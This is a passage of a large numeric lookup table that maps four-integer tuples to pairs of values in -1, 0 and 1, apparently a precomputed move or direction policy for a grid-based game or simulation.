35, -3, 3): (0, 1), (4, 35, -3, 4): (0, 1), (4, 35, -3, 5): (0, 1), (4, 35, -2, -5): (0, 1), (4, 35, -2, -4): (-1, 1), (4, 35, -2, -3): (-1, 1), (4, 35, -2, -2): (-1, 1), (4, 35, -2, -1): (-1, 1), (4, 35, -2, 0): (-1, 0), (4, 35, -2, 1): (-1, -1), (4, 35, -2, 2): (0, 1), (4, 35, -2, 3): (0, 1), (4, 35, -2, 4): (0, 1), (4, 35, -2, 5): (0, 1), (4, 35, -1, -5): (-1, 1), (4, 35, -1, -4): (-1, 0), (4, 35, -1, -3): (0, 1), (4, 35, -1, -2): (-1, 1), (4, 35, -1, -1): (-1, 1), (4, 35, -1, 0): (-1, 0), (4, 35, -1, 1): (-1, -1), (4, 35, -1, 2): (-1, 1), (4, 35, -1, 3): (-1, 1), (4, 35, -1, 4): (-1, 1), (4, 35, -1, 5): (-1, 1), (4, 35, 0, -5): (-1, 1), (4, 35, 0, -4): (-1, 1), (4, 35, 0, -3): (-1, 1), (4, 35, 0, -2): (-1, 1), (4, 35, 0, -1): (-1, 1), (4, 35, 0, 0): (-1, 0), (4, 35, 0, 1): (-1, -1), (4, 35, 0, 2): (-1, 1), (4, 35, 0, 3): (-1, 1), (4, 35, 0, 4): (-1, 1), (4, 35, 0, 5): (-1, 1), (4, 35, 1, -5): (-1, 1), (4, 35, 1, -4): (-1, 0), (4, 35, 1, -3): (-1, -1), (4, 35, 1, -2): (-1, 1), (4, 35, 1, -1): (-1, 1), (4, 35, 1, 0): (-1, 1), (4, 35, 1, 1): (-1, 1), (4, 35, 1, 2): (-1, 1), (4, 35, 1, 3): (-1, 1), (4, 35, 1, 4): (-1, 1), (4, 35, 1, 5): (-1, 1), (4, 35, 2, -5): (-1, 1), (4, 35, 2, -4): (-1, 0), (4, 35, 2, -3): (-1, -1), (4, 35, 2, -2): (-1, 1), (4, 35, 2, -1): (-1, 1), (4, 35, 2, 0): (-1, 1), (4, 35, 2, 1): (-1, 1), (4, 35, 2, 2): (-1, 1), (4, 35, 2, 3): (-1, 1), (4, 35, 2, 4): (-1, 1), (4, 35, 2, 5): (-1, 1), (4, 35, 3, -5): (0, 1), (4, 35, 3, -4): (0, 1), (4, 35, 3, -3): (0, 0), (4, 35, 3, -2): (0, 1), (4, 35, 3, -1): (-1, 1), (4, 35, 3, 0): (-1, 1), (4, 35, 3, 1): (-1, 1), (4, 35, 3, 2): (-1, 1), (4, 35, 3, 3): (-1, 1), (4, 35, 3, 4): (-1, 1), (4, 35, 3, 5): (-1, 1), (4, 35, 4, -5): (0, 1), (4, 35, 4, -4): (0, 1), (4, 35, 4, -3): (0, 0), (4, 35, 4, -2): (0, 1), (4, 35, 4, -1): (0, 1), (4, 35, 4, 0): (-1, 1), (4, 35, 4, 1): (-1, 1), (4, 35, 4, 2): (-1, 1), (4, 35, 4, 3): (-1, 1), (4, 35, 4, 4): (-1, 1), (4, 35, 4, 5): (-1, 1), (4, 35, 5, -5): (0, 1), (4, 35, 5, -4): (0, 1), (4, 35, 5, -3): (0, 0), (4, 35, 5, -2): (0, 1), (4, 35, 5, -1): (0, 1), (4, 35, 5, 0): (-1, 1), (4, 35, 5, 1): (-1, 1), (4, 35, 5, 2): (-1, 1), (4, 35, 5, 3): (-1, 1), (4, 35, 5, 4): (-1, 1), (4, 35, 5, 5): (-1, 1), (5, 32, -5, -5): (0, 1), (5, 32, -5, -4): (0, 1), (5, 32, -5, -3): (0, 1), (5, 32, -5, -2): (0, 1), (5, 32, -5, -1): (0, 1), (5, 32, -5, 0): (0, 1), (5, 32, -5, 1): (0, 1), (5, 32, -5, 2): (0, 1), (5, 32, -5, 3): (0, 0), (5, 32, -5, 4): (-1, -1), (5, 32, -5, 5): (0, 1), (5, 32, -4, -5): (-1, 1), (5, 32, -4, -4): (1, 1), (5, 32, -4, -3): (-1, 1), (5, 32, -4, -2): (0, 1), (5, 32, -4, -1): (0, 1), (5, 32, -4, 0): (0, 1), (5, 32, -4, 1): (0, 1), (5, 32, -4, 2): (0, 1), (5, 32, -4, 3): (0, 0), (5, 32, -4, 4): (-1, -1), (5, 32, -4, 5): (0, 1), (5, 32, -3, -5): (-1, 1), (5, 32, -3, -4): (0, 1), (5, 32, -3, -3): (0, 1), (5, 32, -3, -2): (0, 1), (5, 32, -3, -1): (-1, 1), (5, 32, -3, 0): (-1, 1), (5, 32, -3, 1): (-1, 1), (5, 32, -3, 2): (-1, 1), (5, 32, -3, 3): (-1, 0), (5, 32, -3, 4): (-1, -1), (5, 32, -3, 5): (0, 1), (5, 32, -2, -5): (0, 1), (5, 32, -2, -4): (-1, 1), (5, 32, -2, -3): (-1, 1), (5, 32, -2, -2): (-1, 1), (5, 32, -2, -1): (0, 1), (5, 32, -2, 0): (0, 1), (5, 32, -2, 1): (0, 0), (5, 32, -2, 2): (-1, -1), (5, 32, -2, 3): (-1, 1), (5, 32, -2, 4): (-1, 1), (5, 32, -2, 5): (-1, 1), (5, 32, -1, -5): (0, 1), (5, 32, -1, -4): (0, 1), (5, 32, -1, -3): (-1, 1), (5, 32, -1, -2): (-1, 1), (5, 32, -1, -1): (-1, 1), (5, 32, -1, 0): (-1, 1), (5, 32, -1, 1): (-1, 0), (5, 32, -1, 2): (-1, -1), (5, 32, -1, 3): (-1, -1), (5, 32, -1, 4): (-1, -1), (5, 32, -1, 5): (-1, 1), (5, 32, 0, -5): (0, 1), (5, 32, 0, -4): (0, 1), (5, 32, 0, -3): (0, 1), (5, 32, 0, -2): (-1, 1), (5, 32, 0, -1): (-1, 1), (5, 32, 0, 0): (-1, 0), (5, 32, 0, 1): (-1, -1), (5, 32, 0, 2): (-1, -1), (5, 32, 0, 3): (-1, 1), (5, 32, 0, 4): (-1, 1), (5, 32, 0, 5): (-1, 1), (5, 32, 1, -5): (-1, 1), (5, 32, 1, -4): (-1, 1), (5, 32, 1, -3): (-1, 1), (5, 32, 1, -2): (-1, 1), (5, 32, 1, -1): (-1, 1), (5, 32, 1, 0): (-1, 1), (5, 32, 1, 1): (-1, 0), (5, 32, 1, 2): (-1, -1), (5, 32, 1, 3): (-1, 1), (5, 32, 1, 4): (-1, 1), (5, 32, 1, 5): (-1, 1), (5, 32, 2, -5): (1, 1), (5, 32, 2, -4): (1, 1), (5, 32, 2, -3): (1, 1), (5, 32, 2, -2): (-1, 1), (5, 32, 2, -1): (-1, 1), (5, 32, 2, 0): (-1, 1), (5, 32, 2, 1): (-1, 1), (5, 32, 2, 2): (-1, 1), (5, 32, 2, 3): (-1, 1), (5, 32, 2, 4): (-1, 1), (5, 32, 2, 5): (-1, 1), (5, 32, 3, -5): (0, 1), (5, 32, 3, -4): (0, 1), (5, 32, 3, -3): (0, 1), (5, 32, 3, -2): (0, 1), (5, 32, 3, -1): (0, 1), (5, 32, 3, 0): (0, 1), (5, 32, 3, 1): (-1, 1), (5, 32, 3, 2): (-1, 1), (5, 32, 3, 3): (-1, 1), (5, 32, 3, 4): (-1, 1), (5, 32, 3, 5): (-1, 1), (5, 32, 4, -5): (1, 1), (5, 32, 4, -4): (1, 1), (5, 32, 4, -3): (1, 0), (5, 32, 4, -2): (1, -1), (5, 32, 4, -1): (1, 1), (5, 32, 4, 0): (1, 0), (5, 32, 4, 1): (1, 0), (5, 32, 4, 2): (1, 0), (5, 32, 4, 3): (-1, 1), (5, 32, 4, 4): (-1, 1), (5, 32, 4, 5): (-1, 1), (5, 32, 5, -5): (0, 1), (5, 32, 5, -4): (0, 1), (5, 32, 5, -3): (0, 0), (5, 32, 5, -2): (0, -1), (5, 32, 5, -1): (0, 1), (5, 32, 5, 0): (0, 1), (5, 32, 5, 1): (0, 1), (5, 32, 5, 2): (0, 1), (5, 32, 5, 3): (0, 1), (5, 32, 5, 4): (0, 1), (5, 32, 5, 5): (0, 1), (5, 33, -5, -5): (0, 1), (5, 33, -5, -4): (0, 1), (5, 33, -5, -3): (0, 1), (5, 33, -5, -2): (0, 1), (5, 33, -5, -1): (0, 1), (5, 33, -5, 0): (0, 1), (5, 33, -5, 1): (0, 1), (5, 33, -5, 2): (0, 0), (5, 33, -5, 3): (-1, -1), (5, 33, -5, 4): (0, 1), (5, 33, -5, 5): (0, 1), (5, 33, -4, -5): (1, 1), (5, 33, -4, -4): (-1, 1), (5, 33, -4, -3): (0, 1), (5, 33, -4, -2): (0, 1), (5, 33, -4, -1): (0, 1), (5, 33, -4, 0): (0, 1), (5, 33, -4, 1): (0, 1), (5, 33, -4, 2): (0, 0), (5, 33, -4, 3): (-1, -1), (5, 33, -4, 4): (0, 1), (5, 33, -4, 5): (0, 1), (5, 33, -3, -5): (0, 1), (5, 33, -3, -4): (0, 1), (5, 33, -3, -3): (0, 1), (5, 33, -3, -2): (-1, 1), (5, 33, -3, -1): (-1, 1), (5, 33, -3, 0): (-1, 1), (5, 33, -3, 1): (-1, 1), (5, 33, -3, 2): (-1, 0), (5, 33, -3, 3): (-1, -1), (5, 33, -3, 4): (0, 1), (5, 33, -3, 5): (0, 1), (5, 33, -2, -5): (-1, 1), (5, 33, -2, -4): (-1, 1), (5, 33, -2, -3): (-1, 1), (5, 33, -2, -2): (0, 1), (5, 33, -2, -1): (0, 1), (5, 33, -2, 0): (0, 1), (5, 33, -2, 1): (0, 0), (5, 33, -2, 2): (-1, -1), (5, 33, -2, 3): (-1, 1), (5, 33, -2, 4): (-1, 1), (5, 33, -2, 5): (-1, 1), (5, 33, -1, -5): (0, 1), (5, 33, -1, -4): (-1, 1), (5, 33, -1, -3): (-1, 1), (5, 33, -1, -2): (-1, 1), (5, 33, -1, -1): (-1, 1), (5, 33, -1, 0): (-1, 1), (5, 33, -1, 1): (-1, 0), (5, 33, -1, 2): (-1, -1), (5, 33, -1, 3): (-1, -1), (5, 33, -1, 4): (-1, 1), (5, 33, -1, 5): (-1, 1), (5, 33, 0, -5): (0, 1), (5, 33, 0, -4): (0, 1), (5, 33, 0, -3): (-1, 1), (5, 33, 0, -2): (-1, 1), (5, 33, 0, -1): (-1, 1), (5, 33, 0, 0): (-1, 0), (5, 33, 0, 1): (-1, -1), (5, 33, 0, 2): (-1, -1), (5, 33, 0, 3): (-1, 1), (5, 33, 0, 4): (-1, 1), (5, 33, 0, 5): (-1, 1), (5, 33, 1, -5): (-1, 1), (5, 33, 1, -4): (-1, 1), (5, 33, 1, -3): (-1, 1), (5, 33, 1, -2): (-1, 1), (5, 33, 1, -1): (-1, 1), (5, 33, 1, 0): (-1, 1), (5, 33, 1, 1): (-1, 0), (5, 33, 1, 2): (-1, 1), (5, 33, 1, 3): (-1, 1), (5, 33, 1, 4): (-1, 1), (5, 33, 1, 5): (-1, 1), (5, 33, 2, -5): (1, 1), (5, 33, 2, -4): (1, 1), (5, 33, 2, -3): (1, 1), (5, 33, 2, -2): (-1, 1), (5, 33, 2, -1): (-1, 1), (5, 33, 2, 0): (-1, 1), (5, 33, 2, 1): (-1, 1), (5, 33, 2, 2): (-1, 1), (5, 33, 2, 3): (-1, 1), (5, 33, 2, 4): (-1, 1), (5, 33, 2, 5): (-1, 1), (5, 33, 3, -5): (0, 1), (5, 33, 3, -4): (0, 1), (5, 33, 3, -3): (0, 1), (5, 33, 3, -2): (0, 0), (5, 33, 3, -1): (0, 1), (5, 33, 3, 0): (0, 1), (5, 33, 3, 1): (-1, 1), (5, 33, 3, 2): (-1, 1), (5, 33, 3, 3): (-1, 1), (5, 33, 3, 4): (-1, 1), (5, 33, 3, 5): (-1, 1), (5, 33, 4, -5): (1, 1), (5, 33, 4, -4): (1, 0), (5, 33, 4, -3): (1, -1), (5, 33, 4, -2): (1, 1), (5, 33, 4, -1): (1, 0), (5, 33, 4, 0): (1, 0), (5, 33, 4, 1): (1, 0), (5, 33, 4, 2): (-1, 1), (5, 33, 4, 3): (-1, 1), (5, 33, 4, 4): (-1, 1), (5, 33, 4, 5): (-1, 1), (5, 33, 5, -5): (0, 1), (5, 33, 5, -4): (0, 0), (5, 33, 5, -3): (0, -1), (5, 33, 5, -2): (0, 1), (5, 33, 5, -1): (0, 1), (5, 33, 5, 0): (0, 1), (5, 33, 5, 1): (0, 1), (5, 33, 5, 2): (0, 1), (5, 33, 5, 3): (0, 1), (5, 33, 5, 4): (0, 1), (5, 33, 5, 5): (0, 1), (5, 34, -5, -5): (0, 1), (5, 34, -5, -4): (0, 1), (5, 34, -5, -3): (0, 1), (5, 34, -5, -2): (0, 1), (5, 34, -5, -1): (0, 1), (5, 34, -5, 0): (0, 1), (5, 34, -5, 1): (0, 0), (5, 34, -5, 2): (-1, -1), (5, 34, -5, 3): (0, 1), (5, 34, -5, 4): (0, 1), (5, 34, -5, 5): (0, 1), (5, 34, -4, -5): (-1, 1), (5, 34, -4, -4): (0, 1), (5, 34, -4, -3): (0, 1), (5, 34, -4, -2): (0, 1), (5, 34, -4, -1): (0, 1), (5, 34, -4, 0): (0, 1), (5, 34, -4, 1): (0, 0), (5, 34, -4, 2): (-1, -1), (5, 34, -4, 3): (0, 1), (5, 34, -4, 4): (0, 1), (5, 34, -4, 5): (0, 1), (5, 34, -3, -5): (0, 1), (5, 34, -3, -4): (0, 1), (5, 34, -3, -3): (-1, 1), (5, 34, -3, -2): (-1, 1), (5, 34, -3, -1): (-1, 1), (5, 34, -3, 0): (-1, 1), (5, 34, -3, 1): (-1, 0), (5, 34, -3, 2): (-1, -1), (5, 34, -3, 3): (0, 1), (5, 34, -3, 4): (0, 1), (5, 34, -3, 5): (0, 1), (5, 34, -2, -5): (-1, 1), (5, 34, -2, -4): (-1, 1), (5, 34, -2, -3): (-1, 0), (5, 34, -2, -2): (0, 1), (5, 34, -2, -1): (0, 1), (5, 34, -2, 0): (0, 0), (5, 34, -2, 1): (-1, -1), (5, 34, -2, 2): (-1, 1), (5, 34, -2, 3): (-1, 1), (5, 34, -2, 4): (-1, 1), (5, 34, -2, 5): (-1, 1), (5, 34, -1, -5): (-1, 1), (5, 34, -1, -4): (-1, 1), (5, 34, -1, -3): (-1, 0), (5, 34, -1, -2): (-1, 1), (5, 34, -1, -1): (-1, 1), (5, 34, -1, 0): (-1, 0), (5, 34, -1, 1): (-1, -1), (5, 34, -1, 2): (-1, -1), (5, 34, -1, 3): (-1, 1), (5, 34, -1, 4): (-1, 1), (5, 34, -1, 5): (-1, 1), (5, 34, 0, -5): (0, 1), (5, 34, 0, -4): (-1, 1), (5, 34, 0, -3): (-1, 1), (5, 34, 0, -2): (-1, 1), (5, 34, 0, -1): (-1, 1), (5, 34, 0, 0): (-1, 0), (5, 34, 0, 1): (-1, -1), (5, 34, 0, 2): (-1, -1), (5, 34, 0, 3): (-1, 1), (5, 34, 0, 4): (-1, 1), (5, 34, 0, 5): (-1, 1), (5, 34, 1, -5): (-1, 1), (5, 34, 1, -4): (-1, 1), (5, 34, 1, -3): (-1, 0), (5, 34, 1, -2): (-1, 1), (5, 34, 1, -1): (-1, 1), (5, 34, 1, 0): (-1, 1), (5, 34, 1, 1): (-1, 1), (5, 34, 1, 2): (-1, 1), (5, 34, 1, 3): (-1, 1), (5, 34, 1, 4): (-1, 1), (5, 34, 1, 5): (-1, 1), (5, 34, 2, -5): (1, 1), (5, 34, 2, -4): (1, 1), (5, 34, 2, -3): (1, 1), (5, 34, 2, -2): (-1, 1), (5, 34, 2, -1): (-1, 1), (5, 34, 2, 0): (-1, 1), (5, 34, 2, 1): (-1, 1), (5, 34, 2, 2): (-1, 1), (5, 34, 2, 3): (-1, 1), (5, 34, 2, 4): (-1, 1), (5, 34, 2, 5): (-1, 1), (5, 34, 3, -5): (0, 1), (5, 34, 3, -4): (0, 1), (5, 34, 3, -3): (0, 1), (5, 34, 3, -2): (0, 1), (5, 34, 3, -1): (0, 1), (5, 34, 3, 0): (-1, 1), (5, 34, 3, 1): (-1, 1), (5, 34, 3, 2): (-1, 1), (5, 34, 3, 3): (-1, 1), (5, 34, 3, 4): (-1, 1), (5, 34, 3, 5): (-1, 1), (5, 34, 4, -5): (1, 0), (5, 34, 4, -4): (1, -1), (5, 34, 4, -3): (1, 1), (5, 34, 4, -2): (1, 0), (5, 34, 4, -1): (1, 0), (5, 34, 4, 0): (1, 0), (5, 34, 4, 1): (-1, 1), (5, 34, 4, 2): (-1, 1), (5, 34, 4, 3): (-1, 1), (5, 34, 4, 4): (-1, 1), (5, 34, 4, 5): (-1, 1), (5, 34, 5, -5): (0, 0), (5, 34, 5, -4): (0, -1), (5, 34, 5, -3): (0, 1), (5, 34, 5, -2): (0, 1), (5, 34, 5, -1): (0, 1), (5, 34, 5, 0): (0, 1), (5, 34, 5, 1): (0, 1), (5, 34, 5, 2): (0, 1), (5, 34, 5, 3): (0, 1), (5, 34, 5, 4): (0, 1), (5, 34, 5, 5): (0, 1), (5, 35, -5, -5): (0, 1), (5, 35, -5, -4): (0, 1), (5, 35, -5, -3): (0, 1), (5, 35, -5, -2): (0, 1), (5, 35, -5, -1): (0, 1), (5, 35, -5, 0): (0, 0), (5, 35, -5, 1): (-1, -1), (5, 35, -5, 2): (0, 1), (5, 35, -5, 3): (0, 1), (5, 35, -5, 4): (0, 1), (5, 35, -5, 5): (0, 1), (5, 35, -4, -5): (0, 1), (5, 35, -4, -4): (0, 1), (5, 35, -4, -3): (0, 1), (5, 35, -4, -2): (0, 1), (5, 35, -4, -1): (0, 1), (5, 35, -4, 0): (0, 0), (5, 35, -4, 1): (-1, -1), (5, 35, -4, 2): (0, 1), (5, 35, -4, 3): (0, 1), (5, 35, -4, 4): (0, 1), (5, 35, -4, 5): (0, 1), (5, 35, -3, -5): (0, 1), (5, 35, -3, -4): (-1, 1), (5, 35, -3, -3): (-1, 1), (5, 35, -3, -2): (-1, 1), (5, 35, -3, -1): (-1, 1), (5, 35, -3, 0): (-1, 0), (5, 35, -3, 1): (-1, -1), (5, 35, -3, 2): (0, 1), (5, 35, -3, 3): (0, 1), (5, 35, -3, 4): (0, 1), (5, 35, -3, 5): (0, 1), (5, 35, -2, -5): (-1, 1), (5, 35, -2, -4): (-1, 0), (5, 35, -2, -3): (0, 1), (5, 35, -2, -2): (0, 1), (5, 35, -2, -1): (0, 1), (5, 35, -2, 0): (0, 0), (5, 35, -2, 1): (-1, -1), (5, 35, -2, 2): (-1, 1), (5, 35, -2, 3): (-1, 1), (5, 35, -2, 4): (-1, 1), (5, 35, -2, 5): (-1, 1), (5, 35, -1, -5): (-1, 1), (5, 35, -1, -4): (-1, 0), (5, 35, -1, -3): (-1, 1), (5, 35, -1, -2): (-1, 1), (5, 35, -1, -1): (-1, 1), (5, 35, -1, 0): (-1, 0), (5, 35, -1, 1): (-1, -1), (5, 35, -1, 2): (-1, 1), (5, 35, -1, 3): (-1, 1), (5, 35, -1, 4): (-1, 1), (5, 35, -1, 5): (-1, 1), (5, 35, 0, -5): (-1, 1), (5, 35, 0, -4): (-1, 0), (5, 35, 0, -3): (-1, 1), (5, 35, 0, -2): (-1, 1), (5, 35, 0, -1): (-1, 1), (5, 35, 0, 0): (-1, 0), (5, 35, 0, 1): (-1, -1), (5, 35, 0, 2): (-1, 1), (5, 35, 0, 3): (-1, 1), (5, 35, 0, 4): (-1, 1), (5, 35, 0, 5): (-1, 1), (5, 35, 1, -5): (-1, 1), (5, 35, 1, -4): (-1, 0), (5, 35, 1, -3): (-1, -1), (5, 35, 1, -2): (-1, 1), (5, 35, 1, -1): (-1, 1), (5, 35, 1, 0): (-1, 1), (5, 35, 1, 1): (-1, 1), (5, 35, 1, 2): (-1, 1), (5, 35, 1, 3): (-1, 1), (5, 35, 1, 4): (-1, 1), (5, 35, 1, 5): (-1, 1), (5, 35, 2, -5): (1, 1), (5, 35, 2, -4): (1, 1), (5, 35, 2, -3): (-1, 1), (5, 35, 2, -2): (-1, 1), (5, 35, 2, -1): (-1, 1), (5, 35, 2, 0): (-1, 1), (5, 35, 2, 1): (-1, 1), (5, 35, 2, 2): (-1, 1), (5, 35, 2, 3): (-1, 1), (5, 35, 2, 4): (-1, 1), (5, 35, 2, 5): (-1, 1), (5, 35, 3, -5): (0, 1), (5, 35, 3, -4): (0, 1), (5, 35, 3, -3): (0, 0), (5, 35, 3, -2): (0, 1), (5, 35, 3, -1): (0, 1), (5, 35, 3, 0): (-1, 1), (5, 35, 3, 1): (-1, 1), (5, 35, 3, 2): (-1, 1), (5, 35, 3, 3): (-1, 1), (5, 35, 3, 4): (-1, 1), (5, 35, 3, 5): (-1, 1), (5, 35, 4, -5): (1, 0), (5, 35, 4, -4): (1, 1), (5, 35, 4, -3): (1, 0), (5, 35, 4, -2): (1, 0), (5, 35, 4, -1): (1, 0), (5, 35, 4, 0): (-1, 1), (5, 35, 4, 1): (-1, 1), (5, 35, 4, 2): (-1, 1), (5, 35, 4, 3): (-1, 1), (5, 35, 4, 4): (-1, 1), (5, 35, 4, 5): (-1, 1), (5, 35, 5, -5): (0, 0), (5, 35, 5, -4): (0, 1), (5, 35, 5, -3): (0, 1), (5, 35, 5, -2): (0, 1), (5, 35, 5, -1): (0, 1), (5, 35, 5, 0): (0, 1), (5, 35, 5, 1): (0, 1), (5, 35, 5, 2): (0, 1), (5, 35, 5, 3): (0, 1), (5, 35, 5, 4): (0, 1), (5, 35, 5, 5): (0, 1), (6, 1, -5, -5): (0, 1), (6, 1, -5, -4): (0, 1), (6, 1, -5, -3): (0, 1), (6, 1, -5, -2): (0, 1), (6, 1, -5, -1): (0, 0), (6, 1, -5, 0): (-1, -1), (6, 1, -5, 1): (0, 1), (6, 1, -5, 2): (0, 1), (6, 1, -5, 3): (0, 1), (6, 1, -5, 4): (0, 1), (6, 1, -5, 5): (0, 1), (6, 1, -4, -5): (-1, 1), (6, 1, -4, -4): (-1, 1), (6, 1, -4, -3): (-1, 1), (6, 1, -4, -2): (-1, 1), (6, 1, -4, -1): (-1, 0), (6, 1, -4, 0): (-1, -1), (6, 1, -4, 1): (0, 1), (6, 1, -4, 2): (0, 1), (6, 1, -4, 3): (0, 1), (6, 1, -4, 4): (0, 1), (6, 1, -4, 5): (0, 1), (6, 1, -3, -5): (-1, 1), (6, 1, -3, -4): (-1, 1), (6, 1, -3, -3): (-1, 1), (6, 1, -3, -2): (-1, 1), (6, 1, -3, -1): (-1, 0), (6, 1, -3, 0): (-1, -1), (6, 1, -3, 1): (0, 1), (6, 1, -3, 2): (0, 1), (6, 1, -3, 3): (0, 1), (6, 1, -3, 4): (0, 1), (6, 1, -3, 5): (0, 1), (6, 1, -2, -5): (-1, 1), (6, 1, -2, -4): (-1, 1), (6, 1, -2, -3): (-1, 1), (6, 1, -2, -2): (-1, 1), (6, 1, -2, -1): (-1, 0), (6, 1, -2, 0): (-1, -1), (6, 1, -2, 1): (0, 1), (6, 1, -2, 2): (0, 1), (6, 1, -2, 3): (0, 1), (6, 1, -2, 4): (0, 1), (6, 1, -2, 5): (0, 1), (6, 1, -1, -5): (-1, 1), (6, 1, -1, -4): (-1, 1), (6, 1, -1, -3): (-1, 1), (6, 1, -1, -2): (-1, 1), (6, 1, -1, -1): (-1, 0), (6, 1, -1, 0): (1, 1), (6, 1, -1, 1): (1, 1), (6, 1, -1, 2): (1, 1), (6, 1, -1, 3): (1, 1), (6, 1, -1, 4): (1, 1), (6, 1, -1, 5): (1, 0), (6, 1, 0, -5): (0, 1), (6, 1, 0, -4): (0, 1), (6, 1, 0, -3): (0, 1), (6, 1, 0, -2): (0, 1), (6, 1, 0, -1): (1, 1), (6, 1, 0, 0): (1, 1), (6, 1, 0, 1): (1, 1), (6, 1, 0, 2): (1, 1), (6, 1, 0, 3): (1, 1), (6, 1, 0, 4): (1, 1), (6, 1, 0, 5): (1, 0), (6, 1, 1, -5): (1, 0), (6, 1, 1, -4): (1, 0), (6, 1, 1, -3): (1, 0), (6, 1, 1, -2): (1, 0), (6, 1, 1, -1): (1, 1), (6, 1, 1, 0): (0, 1), (6, 1, 1, 1): (0, 1), (6, 1, 1, 2): (0, 1), (6, 1, 1, 3): (0, 1), (6, 1, 1, 4): (0, 1), (6, 1, 1, 5): (0, 1), (6, 1, 2, -5): (1, 0), (6, 1, 2, -4): (1, 0), (6, 1, 2, -3): (1, 0), (6, 1, 2, -2): (1, 0), (6, 1, 2, -1): (1, 0), (6, 1, 2, 0): (-1, 1), (6, 1, 2, 1): (-1, 1), (6, 1, 2, 2): (-1, 1), (6, 1, 2, 3): (-1, 1), (6, 1, 2, 4): (-1, 1), (6, 1, 2, 5): (-1, 1), (6, 1, 3, -5): (0, 1), (6, 1, 3, -4): (0, 1), (6, 1, 3, -3): (0, 1), (6, 1, 3, -2): (0, 1), (6, 1, 3, -1): (0, 0), (6, 1, 3, 0): (-1, 1), (6, 1, 3, 1): (-1, 1), (6, 1, 3, 2): (-1, 1), (6, 1, 3, 3): (-1, 1), (6, 1, 3, 4): (-1, 1), (6, 1, 3, 5): (-1, 1), (6, 1, 4, -5): (0, 1), (6, 1, 4, -4): (0, 1), (6, 1, 4, -3): (0, 1), (6, 1, 4, -2): (0, 1), (6, 1, 4, -1): (0, 1), (6, 1, 4, 0): (0, 1), (6, 1, 4, 1): (0, 1), (6, 1, 4, 2): (0, 1), (6, 1, 4, 3): (-1, 1), (6, 1, 4, 4): (-1, 1), (6, 1, 4, 5): (-1, 1), (6, 1, 5, -5): (0, 1), (6, 1, 5, -4): (0, 1), (6, 1, 5, -3): (0, 1), (6, 1, 5, -2): (0, 1), (6, 1, 5, -1): (0, 1), (6, 1, 5, 0): (0, 1), (6, 1, 5, 1): (0, 1), (6, 1, 5, 2): (0, 1), (6, 1, 5, 3): (0, 1), (6, 1, 5, 4): (0, 1), (6, 1, 5, 5): (0, 1), (6, 2, -5, -5): (0, 1), (6, 2, -5, -4): (0, 1), (6, 2, -5, -3): (0, 1), (6, 2, -5, -2): (0, 0), (6, 2, -5, -1): (-1, -1), (6, 2, -5, 0): (0, 1), (6, 2, -5, 1): (0, 1), (6, 2, -5, 2): (0, 1), (6, 2, -5, 3): (0, 1), (6, 2, -5, 4): (0, 1), (6, 2, -5, 5): (0, 1), (6, 2, -4, -5): (-1, 1), (6, 2, -4, -4): (-1, 1), (6, 2, -4, -3): (-1, 1), (6, 2, -4, -2): (-1, 0), (6, 2, -4, -1): (-1, -1), (6, 2, -4, 0): (0, 1), (6, 2, -4, 1): (0, 1), (6, 2, -4, 2): (0, 1), (6, 2, -4, 3): (0, 1), (6, 2, -4, 4): (0, 1), (6, 2, -4, 5): (0, 1), (6, 2, -3, -5): (-1, 1), (6, 2, -3, -4): (-1, 1), (6, 2, -3, -3): (-1, 1), (6, 2, -3, -2): (-1, 0), (6, 2, -3, -1): (-1, -1), (6, 2, -3, 0): (0, 1), (6, 2, -3, 1): (0, 1), (6, 2, -3, 2): (0, 1), (6, 2, -3, 3): (0, 1), (6, 2, -3, 4): (0, 1), (6, 2, -3, 5): (0, 1), (6, 2, -2, -5): (-1, 1), (6, 2, -2, -4): (-1, 1), (6, 2, -2, -3): (-1, 1), (6, 2, -2, -2): (-1, 0), (6, 2, -2, -1): (-1, -1), (6, 2, -2, 0): (0, 1), (6, 2, -2, 1): (0, 1), (6, 2, -2, 2): (0, 1), (6, 2, -2, 3): (0, 1), (6, 2, -2, 4): (0, 1), (6, 2, -2, 5): (0, 1), (6, 2, -1, -5): (-1, 1), (6, 2, -1, -4): (-1, 1), (6, 2, -1, -3): (-1, 1), (6, 2, -1, -2): (-1, 0), (6, 2, -1, -1): (0, 1), (6, 2, -1, 0): (1, 1), (6, 2, -1, 1): (1, 1), (6, 2, -1, 2): (1, 1), (6, 2, -1, 3): (1, 1), (6, 2, -1, 4): (1, 1), (6, 2, -1, 5): (1, 0), (6, 2, 0, -5): (0, 1), (6, 2, 0, -4): (0, 1), (6, 2, 0, -3): (0, 1), (6, 2, 0, -2): (-1, 1), (6, 2, 0, -1): (1, 1), (6, 2, 0, 0): (1, 1), (6, 2, 0, 1): (1, 1), (6, 2, 0, 2): (1, 1), (6, 2, 0, 3): (1, 1), (6, 2, 0, 4): (1, 1), (6, 2, 0, 5): (1, 0), (6, 2, 1, -5): (1, 0), (6, 2, 1, -4): (1, 0), (6, 2, 1, -3): (1, 0), (6, 2, 1, -2): (1, 0), (6, 2, 1, -1): (0, 1), (6, 2, 1, 0): (0, 1), (6, 2, 1, 1): (0, 1), (6, 2, 1, 2): (0, 1), (6, 2, 1, 3): (0, 1), (6, 2, 1, 4): (0, 1), (6, 2, 1, 5): (0, 1), (6, 2, 2, -5): (1, 0), (6, 2, 2, -4): (1, 0), (6, 2, 2, -3): (1, 0), (6, 2, 2, -2): (1, 0), (6, 2, 2, -1): (-1, 1), (6, 2, 2, 0): (-1, 1), (6, 2, 2, 1): (-1, 1), (6, 2, 2, 2): (-1, 1), (6, 2, 2, 3): (-1, 1), (6, 2, 2, 4): (-1, 1), (6, 2, 2, 5): (-1, 1), (6, 2, 3, -5): (0, 1), (6, 2, 3, -4): (0, 1), (6, 2, 3, -3): (0, 1), (6, 2, 3, -2): (0, 0), (6, 2, 3, -1): (1, 1), (6, 2, 3, 0): (-1, 1), (6, 2, 3, 1): (-1, 1), (6, 2, 3, 2): (-1, 1), (6, 2, 3, 3): (-1, 1), (6, 2, 3, 4): (-1, 1), (6, 2, 3, 5): (-1, 1), (6, 2, 4, -5): (0, 1), (6, 2, 4, -4): (0, 1), (6, 2, 4, -3): (0, 1), (6, 2, 4, -2): (0, 1), (6, 2, 4, -1): (0, 1), (6, 2, 4, 0): (0, 1), (6, 2, 4, 1): (0, 1), (6, 2, 4, 2): (0, 1), (6, 2, 4, 3): (-1, 1), (6, 2, 4, 4): (-1, 1), (6, 2, 4, 5): (-1, 1), (6, 2, 5, -5): (0, 1), (6, 2, 5, -4): (0, 1), (6, 2, 5, -3): (0, 1), (6, 2, 5, -2): (0, 1), (6, 2, 5, -1): (0, 